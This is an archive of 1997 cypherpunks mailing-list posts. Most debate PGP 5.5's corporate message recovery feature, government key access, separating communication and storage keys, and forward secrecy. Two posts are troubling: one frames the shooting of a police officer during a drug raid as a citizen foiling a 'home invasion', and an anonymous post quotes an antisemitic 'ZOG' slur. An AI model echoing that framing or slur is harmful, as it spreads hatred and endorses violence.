snooping packet security leak prevention functionality built in to the
PGP 5.6 "SMTP prevention of security leaks enforcer" strips out the
second message snooping crypto recipient packet.

> As far as I am concerned you have not proven your case that PGP 5.5
> is GAK compliant. Your general argument that PGP 5.5 has the
> potential to be GAK can cover *ALL* version of PGP. Any system that
> allows encrypting to multiple recipients can easily modified into a
> GAK system.

You may have not been convinced of the case, but that is because you
have not considered the long term picture, interoperability issues,
and utility to GAKkers of having GAK compliant features in the IETF
OpenPGP standard.

The argument that pgp5.5 has mandatory GAK compliancy does not in any
way apply to older versions of PGP.

PGP 2.x can support voluntary GAK in that the user can send to a
second key that the NSA generates for thme.

It is the features which move the enforcement of this functionality
into the senders client, and the fact that the "optional" nature
becomes weakly optional (meaninglessly optional) if you consider
scenarios where most businesses are using the pgp5.5 SMTP policy
enforcer to bounce your email unless it complies, and where business
are legally required to use such policy enforcers, and businesses are
legally required to hand over the master corporate snooping key to the
GAKkers to go in the NSA database.

> >I gave lots of examples of other ways to achieve the claimed
> >functionality of recovering stored data.  Achieving hard to circumvent
> >corporate email snooping functionality is harder to achieve without CMR. 
> >You can do some, but not quite as much.  But corporate snooping wasn't on
> >your stated list of user requirements.  And it's not very savory anyway.
> 
> I think this is your real issue here. You don't like the ideal of a
> company haveing access to their documents. If that's how you feel then
> make your case so it can be judged on it's merits.

That's a separate argument entirely.  I believe that I have shown
security advantages in not doing corporate message snooping in the way
that PGP is "proposing" (by steaming ahead and implementing and
deploying it outside of the IETF OpenPGP process).  In addition I made
the point earlier that any form of message snooping is weak... there
are many ways for the determined employee to by pass it.  The only
real protection is surveillance cameras, tamper-resistant key board
logs, and body cavity searches at the door.  So if enforcement is weak
anyway, it seems sensible to trade some small percentage of this
enforceability for enhanced security.

I went to great pains to detail other more secure, and entirely
feasible methods of assuring corporate message snooping functionality
can be built.

I also clearly distinguised between stored documents and documents in
transit in transient communications mediums.

In addition I argued for key escrow of storage keys as good company
backup policy.

You have not been paying attention here, or are playing the function
of the luddite, refusing to accept that better security is obtained by
separating the functionality of encryption keys and storage keys.

A similar example might be if you were to refuse to countenance the
suggestion that having separate signature and encryption keys is
better than not doing using as an argument perhaps the fact that
pgp2.x has been using the same key for both purposes for years.

The point of the IETF OpenPGP standardisation process is to explore
the options and decide on the best technical approach, which is in the
interests of the Internet community.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 12 Oct 1997 02:42:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: More dangers of corporate snoopware
In-Reply-To: <v03102802b0656c1cc9e3@[207.167.93.63]>
Message-ID: <3.0.3.32.19971011113316.0410dd68@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 AM 10/11/97 -0700, Tim May wrote:
>
>
>Suppose I want to send a private message to Andy Grove at Intel.  With
>current systems, I would encrypt to his public key and send it to him. Only
>he, or those with access to his private key, could read the message.
>
>But suppose CAK becomes common, and suppose Intel has adopted PGP 5.5.
>
>I presume I have to also encrypt to Intel's corporate key...or one of them.
>(I assume different users in different departments may have different CAK
>keys.)
>
>So, who can read my message besides Andy? The Security Operations
>department? The Key Compliance Officer? Or, perhaps, only those _higher_
>than Andy Grove, e.g., no one.
>
>And suppose I send a communication to a lower-level person? How many
>higher-level persons will be able to read the message?
>
>Will companies really accept that lower-level security people will have
>access to the communications about business deals, technology deals, etc.?
>The prospects for abuse are obvious.

I wonder how many of them know if their mail can be read now?  Any admin
could just use `less /var/spool/mail/andyg` to read the unencrypted mail
queue. 

>Or will there be provisions for overriding the PGP 5.5 snoopware features?
>Will it become a status symbol to have reached the level of trust where
>one's private e-mail is not subject to snoopware encryption?

There will always be an out for management.  Managers will not like the
idea of someone being able to read their mail, thus, they will make rules
that they do not have to follow.  (People who think that such rules will be
equally enforced have never worked for a big company.) 

But the higher up the corporate ladder, the bigger risk that they will have
more info to sell out to the competition.  

This sort of policy is only to tighten management's grip on the proles, not
solve any real problem within the corporation.  (Kind of like drug testing,
but without all that messy urine.)

>I suppose it's up to companies to figure out all of these troublesome
>issues. I just hope the architecture of PGP 5.5 is pliable enough to allow
>the market to decide which options to turn on, which to turn off, and which
>to take out completely.

But those who will make the rules will not think through those issues.
Those decisions will be made for totally alien reasons.  Control will be a
big one.  Because it is there will be another.  The corporate GAKware
features of 5.5 will be a big thing with the management types who think it
is a good thing to measure workers keystrokes and monitor their precious
bodily fluids.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 19:58:16 +0800
To: hal@rain.org
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <199710102354.QAA01978@s20.term1.sb.rain.org>
Message-ID: <199710111107.MAA02086@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Hal Finney, now working for PGP <hal@rain.org> writes:
> PGP now offers an extensible signature format.  This allows key
> signatures, both self-signatures by a key on itself, and ordinary key
> signatures by keys on other keys, to do more than before.  The extensions
> are in the form of subpackets within the signature packet.  Various
> subpackets have been defined, and Open-PGP would be an excellent forum
> to propose and design new subpacket types and corresponding data formats.

OK, that means the correct technical term for my discussion is an
argument over the GAK compliancy subpacket type.

> Some of the subpackets are modifiers of ordinary userid-binding signatures.
> These allow signatures to have expiration dates; to be marked as non-
> exportable (so that the signatures are only for your own use on the
> keyring); 

I really like this non-exportable signature option.  It is highly
useful.  I have a couple of keys on my key ring with signatures on
them that I have mentally flagged as non-exportable.  This is because
they are signatures by the True Name of nyms I happen to know the True
Name of and are intended to allow me to transfer the trust to that
Nym, but the Nym is trusting me not to make public this signature.

It would be really kind of neat to extend this functionality so that I
_couldn't_ export the key by making the certifcate a non-transferable
signature, or a designated verifier signature.

> And here there is the new corporate message recovery key (CMRK)
> subpacket.

This is the controversial object.  I have been arguing in a couple of
earlier posts today that this design is a bad idea from a security
perspective, and from the point of view that it is a form of GAK
compliancy when coupled with PGP's SMTP policy enforcer.

The reason I say this is that if we get to the situation where many
businesses are using PGP 5.5 + PGP policy enforcer, the clients
"choice" to not encrypt to the message snooping second crypto
recipient in the CMRK subpacket will have little practical meaning.
The user will be forced to comply or be unable to send messages which
don't bounce.

A better place to do corporate snooping, and to avoid the extra
security risk of sending messages over the internet encrypted to two
rather than one long term encryption keys, is to snoop the plaintext
after it has been decrypted in the PGP 5.5 mail client.

Also, the message snooping functionality is reading between the lines;
Jon's post no where mentioned this as a user requirement.  What he
said was that corporates had a need to recover encrypted email
messages stored in encrypted mail folders.  If this is truly the case,
the functionality is even easier to achieve, just encrypt the mail
folder to a company escrowed storage key after decryption.  Easy to
do, and more secure.  Same flexibility in reflecting the internal
structure of the company's trust and risk management in the storage
key escrow architecture.

> The CMRK subpacket allows a key to request that when a message is
> encrypted to it, the message should also be encrypted to a specified
> additional key.  The subpacket includes a flag byte which is designed to
> allow the key to give information about the circumstances under which this
> should be done. Only two values are presently defined, one specifying
> an optional request, and the other meaning that the message will not be
> read by the recipient if the additional encryption hasn't been done.

If PGP is going to forge ahead and try for this flawed message
snooping architecture anyway, I would urge you personally to at least
press upon them to remove the flag meaning that a message will not be
received without the use of the message snooping key, and to remove
the functionality preventing delivery in the SMTP policy enforcer.

> I won't address the controversy about this feature, as that is being
> thoroughly discussed in other forums.  Let me make two points, though:

OK.  The controversy has technical basis too -- and seems to be
starting to be discussed in this forum also.  There is also a question
of how this design interacts with the IETF policy of not allowing
political issues to weaken protocol designs to discuss.

> We would like to move towards a mechanism to allow more power for keys
> to make assertions.  Matt Blaze's (still vaporware?) PolicyMaker project
> showed how powerful such a general mechanism could be.  SPKI is also
> working along these lines, defining a certificate format which allows
> keys to make very general classes of assertions.

I've read Matt's PolicyMaker paper.  I can see the attraction of
moving towards these generalisedl trust statement syntaxes.

I would be nice to see the topic of the recipient refusing email based
on policies relating to third party access to messages in transit
being addressed in the standard when and if PGP gets to that stage.

There are some nice uses for some types of recipient refusal.  Ecash
payment for message processing, or my less $ oriented hashcash
proposal also.  (The types of problem that can arise with real ecash
payment for receipt, which hashcash avoids is that if applied to
discussion forums, it can bias the forums to allowing through more of
what rich people have to say.  A similar argument perhaps applies to
email following up to comments made in public forums, you can only
reply to someone if you have the money.  Busy people may set very high
payment rates.)

> The CMRK is one such type of assertion: "please cc to key X anything
> encrypted for me".  The key is requesting that the specified other key
> by an additional recipient on encryption.

I can see problems with this type of assertion.  I hope when the time
comes that a way to define a convetion or set of rules which disallows
this as part of the standard.

> If we move to a sufficiently powerful language to allow keys to make
> useful assertions, it seems to me that we will probably inherently
> allow keys to make assertions of a type which some people may regard as
> politically unacceptable, like this one.  But to artificially constrain
> the language so that it can only say things which are politically correct
> will make a an already-difficult design task into an intractable one,
> I'm afraid.

We'll see when we get to it.  In the mean time, PolicyMaker &
look-alikes are vapourware.

> Ultimately, a fully general and flexible system of key assertions will
> allow keys to say stupid things as well as smart ones.  I believe that
> the power gained from having such a language gives advantages which
> outweigh the problems of misuse.  (Note the similarities to the debate
> over the PICS labelling technology, which some people oppose because it
> could be misused.)

It's similar to PICs in that third party rating services are fine (for
example consumer product evaluations in various magazines), but
centrally controlled ones are objectionable to many of us.

> Secondly, with this type of assertion, as with others such as
> the preferred algorithm packet, it is inherently in the sender's
> (encryptor's) power to ignore it if he chooses.  You can request that I
> not use triple-DES, but I could still send you a message encrypted with
> that algorithm.  You would then have the choice to reject it or accept it.
> This is a point which I owe to Phil Zimmermann.

The problem with this point, which you say is PRZ's, is that it falls
down for interoperability reasons when the system is widely deployed.
Exactly how much "choice" do you have when 80% of businesses will
bounce your mail if you don't comply.  How much "choice" do you have a
few years later when 95% of individuals and companies are using the
same system, and the government is holding the master snooping keys.

[1] The long term likely value of this choice is rather low, so the
assertion that it leaves you empowered is a weak assertion.  You would
paradoxically in this case be much more empowered if the recipient did
the escrowing silently after receipt by decrypting and storing his
mail folder with an escrowed storage key.  Of course it would be nice
if this policy was advised in the public key also, to at least warn
you, in case you mistook the persons email address as a private
account.  (Some ISPs have names which look similar to some companies
names,... domain names ending in .com, if you are not familiar with
the company name).

> Likewise in PGP 5.0 the user can override the CMRK request even in
> its strongest form (although not in 5.5, because that is intended
> for business-to-business communications).

I submit for the above reasons that this overriding feature will in
the long term me fairly meaningless.  What is the practical individual
empowerment transferred in being able to override something in the
sure knowledge that it will thereby be bounced and not delivered.

> Therefore, I very much agree with Jon Callas that an implementation which
> (perhaps optionally) allows overriding the requests which a key makes
> in its self-signatures should still be considered compliant.  That is
> consistent with the nature of the sender's power to create the message.

I strongly disagree for reasons stated in paragraph [1] above.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 20:00:47 +0800
To: I.Brown@cs.ucl.ac.uk
Subject: Re: PGP CAKware & IETF controlled Open-PGP standard
In-Reply-To: <343F4B28.B3E088A1@cs.ucl.ac.uk>
Message-ID: <199710111135.MAA02104@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ian Brown <I.Brown@cs.ucl.ac.uk> writes:
> William Geiger wrote:
> 
> > This is a stereotypical Strawman. "Even if PGP avoids GAK some other 3rd
> > party can modify it to be Gakware." Every version of PGP had the ability
> > to encrypt to multiple recipients. As I stated in my previous posts I can
> > get PGP 2.6.x to do everything 5.5 does with a couple of scripts.
> 
> Yes, but as Adam says, the average Mr. Windows can not. In any case,
> this is not a narrow technical argument. Of course any system with
> multiple recipients can be turned into GAKware. The point is that we
> don't want to make it ANY easier for anyone to do so.

Agree.  What I am proposing is to make GAK enabled systems
non-interoperable with the OpenPGP standard on the sending end (ie to
define that when you receive a message it won't dictate to you that
you should use GAK compliancy, and to define that if flags indicating
message snooping is ocurring this won't be enforced by your mail being
bounced if you don't, and won't be implemented with encrypting to a
special snooping crypto recipient).  What PGP is proposing with PGP
5.5 is to implement enforcement on end users to send to GAK (or
corporate snooping) enabled keys using the snooping key.

They claim that it's ok, because the user is empowered, as he can
override the sending to the snooping key.  But, if you enable the
sender of a message you receive to state (in syntax defined as part of
the OpenPGP standard, or even if it is not) that if you don't encrypt
to this corporate snooping key (or technically equivalent
functionality: government GAKking key) the message will bounce, how is
this user empowerment, or choice in any meaningful way.  How is this
user empowered to choose when 80% of businesses end up using this
feature?  Or when the government mandates this feature.

> > No this is not mandatory GAK compliance. Mandatory GAK compliance would be
> > if every copy of PGP came with a government key and the program *forced*
> > the user to encrypt all his messages with it.
> 
> Again, as Adam says, how long would it take for a government to
> introduce legislation making this mandatory once PGP 5.5-type systems
> took off? Or, more insiduously, using its purchasing power - "Federal
> agencies will only buy CAK-enabled systems" - to ensure the vast
> majority of systems did so.

Bingo!

> > Ok Adam here is a challenge for you:
> > 
> > -- Explain why Corporations do not have the right to access *their*
> > documents in whatever form they may be in.
> 
> Can I take this one up ;-) 

You beat me to it ... my reply crossed in the mail :-)

> The point is, with *communication* keys, corporations will have full
> access to the plaintext because it will be decrypted by the
> recipient as soon as it arrives. I appreciate your point about
> corporations being able to read *their* documents - although doing
> so by snooping, without the sender's knowledge, is rather unethical
> to say the least - but I don't think they have the right to snoop on
> all *incoming* communications, whoever they may be from. This is the
> really scary part of PGP 5.5...

Even if you do argue that they do have the right to snoop incoming
messages (and there may be a case for this even if some of us find it
a bit little brotherish), this can still be just as easily catered
for, without building GAK compliance into the IETF OpenPGP standard by
having the user's client software decrypt and store their mail folder
in plain text, or encrypted to a company escrowed storage key.

Such a system would not be at all GAK compliant.

> William Simpson wrote:
> 
> > Let us decide _what_ the goals are, _how_ to solve the problems, and
> > _then_ decide the protocol details and formats to match the solution.
> 
> Absolutely. Can we start with Adam and William's proposal that we should
> have three separate types of key: communication, signature, and storage.

(I am glad that you managed to persuade William that this was
necessary, I didn't notice him agree :-) William should however be
credited for the useful contribution that you can just as easily
implement corporate snooping with the existing multiple crypto
recipients functions of pgp2.x.  (Without the GAK compliancy baggage).

> This would be very simple to implement; probably the easiest and most
> backward-compatible way would be to define a new packet type specifying
> a key's usage. 

I'll go for this idea.  X509 v3 certificates have such an extension,
and it seems like a very useful functionality for OpenPGP to include.

Re. the argument about separating key functionality leading to more
consistent and secure designs, if people don't like 3 keys, you should
see some of the Norwegian standards stuff which was relayed to me at a
eurpean medical messaging standarisation meeting... they reportedly
have 5 key usages defined:

  1. storage
  2. signatures
  3. encryption
  4. certificates
  5. authentication

> > Why have a communication enforcement filter, when the only usage is
> > supposed to be for recovering archival storage?
> 
> Absolutely. I can see the point, and appreciate the difficulties faced
> by PGP Inc., in most of the CAK features of PGP 5.5. But I just can
> *not* see how the twisted idea of the SMTP snooper ever came about.

It came about I suspect because the real unstated feature they are
trying to implement is message snooping, and not stored email folder
access as the "data recovery" badge used by Jon in his first post may
lead one to assume.  Of course the reason they think they are able to
use the argument that "email is both storage and communications" to
justify this is largely because they haven't yet digested the meme
that you should have separate storage keys.

I also heartily agree with William Allen Simpson's comments.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 12 Oct 1997 02:38:03 +0800
To: cypherpunks@cyberpass.net
Subject: Citizen Foils Armed Home Invasion
Message-ID: <199710111828.NAA20966@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



RAINBOW CITY, Ala. (AP) -- Officers who went to a house with a
warrant to search for drugs were met at the door by a couple in
bulletproof vests and a surprise gunfight.
 
A blast from an assault weapon, apparently fired through the
front door, killed Chris McCurley, 46, the recently appointed
chief of Etowah Country's drug task force, authorities said.
 
Etowah County Sheriff James Hayes said a man and woman came to
the door wearing bulletproof vests when law officers arrived
Friday at their new house in a quiet neighborhood near the Coosa
River about 65 miles northeast of Birmingham.
 
After McCurley was shot, the man walked outside and continued
firing, striking three more officers before he was finally shot
down by police hiding behind trees, said Minnie Bellew, who lives
across the street.
 
Ezra George Petersen, 50, was hospitalized with minor gunshot
wounds to his extremities, Hayes said. He was under guard at
Gadsden Regional Medical Center. The woman, Connie Stozzie, 30,
was taken to jail and was on investigative hold.
 
Petersen shot at officers with an AK-47 assault weapon with a
100-round drum of ammunition, Hayes said.
 
Officer Gary Lee Entrekin, 34, was in serious condition with a
gunshot wound to the back, said M.D. Garmon, a spokesman at
Riverview Regional Medical Center in Gadsden.
 
Altoona police officer Khris Yancey, 26, was shot in the back,
but his wounds were not thought to be serious. Reserve officer
Rick Correll, 46, was in fair condition with wounds to an arm and
foot.
 
``The law enforcement community and its supporters will not rest
in this county until Petersen gets what he justly deserves -- and
that's the electric chair,'' Hayes said.
 
Neighbors said the tall, tattooed Petersen was a friendly man
frequently seen riding a motorcycle. He had bought $20 worth of
oranges Wednesday from Mrs. Bellow's grandson, who was selling
fruit for a school fund-raiser.
 
``He was real nice. I talked to him about his motorcycles, all
the stuff he did to them,'' 14-year-old Jake Bellew said.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 21:49:44 +0800
To: rodney@sabletech.com
Subject: Re: r.e. OpenPGP document status
In-Reply-To: <3.0.3.32.19971011053745.00727b78@pop.pn.com>
Message-ID: <199710111234.NAA02880@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Rodney Thayer <rodney@sabletech.com> writes:
> The message formats draft(s) are being worked on now.  We've only
> had official WG status for something like two weeks.  A little
> patience is in order, I think.

PGP Inc is the group being impatient.  They have been rushing ahead
implementing things behind closed doors which some of us are arguing
should be made non-conforming (WILL NOTs) in the standard.

If PGP doesn't backoff a bit _they'll_ have non-conforming
implementations, and will have to change them.  The danger is that in
a Netscape-like manner, they will use their implementation and
deployment as arguments to justfiy their design decisions rather than
being involved in open design decision justifications as part of the
standardisation process.

This is not how the IETF standardisation process is supposed to work.
Trial implementation of proposals is fine, closed door design and
sudden deployment and mass sale by the market dominator to pre-empt
standardisation I think is not.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 11 Oct 1997 21:01:48 +0800
To: jon@pgp.com
Subject: Re: Attitude and Assumptions
In-Reply-To: <3.0.3.32.19971010180024.00ad8ce0@mail.pgp.com>
Message-ID: <m0xK0xQ-0003bQC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> The last thing that really, really bugs me is the hostility that's directed
> towards PGP Inc. because now we're an Inc.

There is no hostility towards PGP, Inc.  It is just that many people
think your software contains a feature which has very bad consequences.
Incidentally, I heard a speech by Phil Zimmermann the day before PGP
5.5 was released.  He expressed deep concerns about key escrow,
epxressly including PGP products.  Think about it.

Personally, I think a corporation has the right to access their
employees' business communications, so as long as private messages
remain private, there CAK is no big problem (not that it is exactly
useful, either).  However, when you claim that you are reacting to
to non-existant public safety concerns, I wonder what the real agenda
is.

It is also surprising that you fail to recognize the difference
between communications keys and storage keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 12 Oct 1997 05:03:47 +0800
To: Adam Back <jon@pgp.com
Subject: Re: Why Jon Callas keeps picking nits (Re: Why Corporate Message Recovery isn't Key Escrow)
In-Reply-To: <3.0.3.32.19971010145353.00ad9330@mail.pgp.com>
Message-ID: <3.0.2.32.19971011155857.0069ea28@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:12 AM 10/11/97 +0100, Adam Back wrote:

>You should have 3 types of key:
>
>1. signature keys
>2. transient encryption keys
>3. storage keys

>
>The signature keys you never escrow.  You certify.  If something goes
>wrong you re-issue, release revocation cert, and re-certificate.
>
>The transient encryption keys are for communications, you delete them
>immediately after use.  Yes I'm talking forward secrecy here.  If you
>don't like forward secrecy, well at least don't escrow the encryption
>keys.

Huh?   Okay, PGP uses IDEA for transit keys.  These are encrypted to two 
different PGP public keys.   

These are only used once.  (Well, you make that assumption, but with even a 
decent PRNG it's a reasonably safe assumption)

The signature keys (in the proposed method) are the PGP keys (either RSA or 
DH, it's not important) are the personal keypairs of each person.  The 
company doesn't keep a copy of these.  They can sign with this in an 
unforgable manner.  (Well, in practice I doubt that's true, because I've seen 
very few places that have even mild local-workstation security, but that's 
besides the point)

Is there a problem here?

- From the description Jon gave of the system, you can designate anyone as
the 
other key-id to encrypt to in your signature block.  (Or whatever that part 
of the key is called).  The guy in the next cube, your boss, one company-wide 
key, etc.

So yes, in theory this could be used to implement GAK.  Supposedly in the 
version of PGP in use it's trivial to remove this extra recipient from the 
list of encryption keys.  It's not even needed if you don't have that key on 
your ring.  (From what Jon said)

When you compalin about use of storage keys/communication keys your clouding 
the issue.

The storage keys can be (and probably are in some cases) simply pgp encrypted 
files, as if they were in transit.  I tend to encrypt some files on my hard 
drive with pgp, by encrypting to myself and signing  so that onyl I can 
decrypt them, and I've got record that I did create the archive.  I can see 
this being done in a company to simplify shared storage usage without 
security problems.  Using the multiple recipient option your recovery key-id 
can be used to decrypt these files.  Of course, if they're modified, they 
can't be resigned, so you'd know, but...

This is a *simple* solution that eliminates problems with encrypting hard 
drives, etc. 

Where is the problem with this system?  This is software that (according to 
Jon's claim) at least one company has decided they need for their security, 
and it keeps the number of pass phrases that employees need to memorize at 
one - their PGP key.

>Storage keys you make damn sure you can recover.  You escrow these for
>real.  Company safe sounds about right.  Secret splitting could be
>nice also.

Why not just encrypt it to yourself with PGP?  Isn't that simpler?  Add a 
recipient of the recovery id.  Boss, coworker, person's key in another 
division, whatever.  Everybody gets different storage keys.  No need to worry 
about accidently compromising one of the storage keys (IDEA symmetric keys, 
of course).  You then just need to keep the secret  halfs of the public keys 
secure.  Not a big deal if you have the rest of the system working.

>You shouldn't be recovering transient messages, you should be
>recovering stored data.

What the hell is the difference?  Speed of recovery?

Give an example of the difference between what he's doing and what you would 
propose. Otherwise you're just rejecting this system blindly.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBND/agDc3ytqHnNyNAQExygP/fjl70OenYyTLc86OgFNZf5fkM+b3RUxw
WFsYNme/thDSdsnmfTCTTqE63b3ZRoj/mR0jjb4aloXw83TxWuEY9j9sQql8yTBt
SoRQAxPnP33bWlCTbQrOBPFvMw2lyfCrL307mXnfBpnW3h0cngRxjfu7IBBBPzVF
/5TzMK47WBY=
=RLoK
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Sun, 12 Oct 1997 04:41:30 +0800
To: cypherpunks@cyberpass.net
Subject: anonymous informer quality up
Message-ID: <v03110700b065922a32ed@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain



U.S. News Online
October 20, 1997

Sinister obstruction? Or just incompetence?

...

Thompson staffers were tipped off about the tapes by an anonymous E-mail
message in early September.

Last Wednesday night, almost a month after
the initial tip, a Clinton lawyer called Thompson's committee with a
message that began, "You're not going to believe this, but . . ."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 12 Oct 1997 00:45:06 +0800
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199710111634.SAA19572@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



ZOG translated from the Talmud:
> Stephen D. Mitchell of the US Justice Dept. is a member of the Marsh
> commission. Here he discusses the "insider threat"--the fear the government
> has of patriots and dissidents being hired in "critical infastructure" areas
> such as banks and of how to screen these "insiders" out of employment. 

  Too late...

> He also expresses the government's frustration with state privacy laws:
> "Privacy is trickier. Our outreach revealed a degree of frustration among
> infrastructure owners and operators, some of whom wanted to take greater
> employee security precautions than some laws might otherwise allow....

  Yep, Corporate America is crying out for GAK and the right to keep
their
employees interned in Government Work Camps.

> The bottom line: a critical
> infrastructure owner and operator may in some instances be discouraged if
> not prevented from asking many of the types of questions that could help
> identify and prevent a growing insider threat to our infrastructures."

  "Before I send you for your drug-test and prostrate exam, I'm going to
need to know your bra/condom size."

> --Department of Defense, Worldwide Anti-Terrorism Conference, Aug. 21, 1997.

  Shit! I thought I was at the Cypherpunks physical meeting.
  I mean, Kent Crispin and Hallam-Baker were there...
  Say, you don't think...

YellowWireMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 12 Oct 1997 03:26:38 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <MzZso3VEylA84cPXAGt+UQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



So many things I would have done, but clouds got in the way.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 05:30:21 +0800
To: ietf-open-pgp@imc.org
Subject: new "communication key" semantics & PFS
Message-ID: <199710112101.WAA05210@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Now that we're considering (within the IETF OpenPGP standardisation
framework) the prospect of having a separate communications key, and
storage key, there are some aspects of communications keys which are
currently less than ideal because of their current misuse to also
function as storage keys.

This argues for a new functionality to be given to communication only
keys.  This is all tied up with the idea of Perfect Forward Secrecy
(PFS), which is basically the statement of the fact that
communications keys are more sensitive than storage keys, because your
attacker by definition has a copy of the encrypted communication.
(You're sending over an open network where copying all traffic is a
low cost exercise for a savvy system cracker, or spook, or industrial
espionage).  

In contrast an attacker often will have to break into your premises to
obtain the data protected by your storage keys.  Another aditional
vulnerability of communication keys is that the US government is very
interested in obtaining copies of them via their "key escrow"/"key
recovery"/GAK initiative.  The strongest anti-GAK statement you can
make is to use forward secrecy.  I've raised this point before, but
the meme doesn't seem to have penetrated yet.

Hal Finney <hal@rain.org> wrote:
> Adam mentioned the idea of forward secrecy in email communications.
> I'm not sure how that would work technically, but it sounds like
> an interesting possibility.  

It ties in quite well with what is in my view proper handling of
communication keys.  If we can break the tie with one key being used
for both storage and communication, we can start to reflect in the
protocol better security practice in the handling of communication
keys.

Forward secrecy is one way of looking at it.  It doesn't have to be
real interactive forward secrecy as you might get in an SSH session,
or an SSL session, or some of the IPSEC standards, though these are
other examples which could server as examples showing that forward
secrecy is a good idea, for anyone who would like to argue against it.

The basic principle is that you want to have communication keys which
don't live for a long time.  So one form of weak forward secrecy you
could have would be to mark your El Gamal or RSA communications for
much more frequent update, by giving it a short expiry date.  Say once
per week.

Some people currently do this manually anyway.  For example see Dave
Wagner's web page (www.cs.berkeley.edu/~daw/) where he describes what
he does with keys.  (He has a long term signature only key which he
uses to sign short lived "communication only" keys which he discards
after expiry).  What I am arguing for essentially is building this
kind of improved communication key handling into the OpenPGP spec for
keys marked as "communication only".


In addition I think it would be nice to enable a new kind of
communications key which is based on discrete log so that people who
choose to use PGP protocols for more interactive email transfer
protocols than SMTP can generate keys very quickly.  I was originally
thinking that this would have to be DH, but perhaps you can simulate
DH PFS with El Gamal by securely wiping the private parameters of
expired communications keys, and keeping the public modulus and g
value.  (This has similarities with the quick method in PGP5.x of
generating El Gamal keys with precomputed shipped primes that you
already have).  The advantage being that you may be trying to generate
keys frequently, so you may not want to wait for a full new 4096 bit
El Gamal or 2048 bit RSA key generation, when you are not anticipating
the sudden delay in sending messages.


I was originally thinking it would be done by having a new DH key type
(in addition to RSA, El Gamal, DSA).  

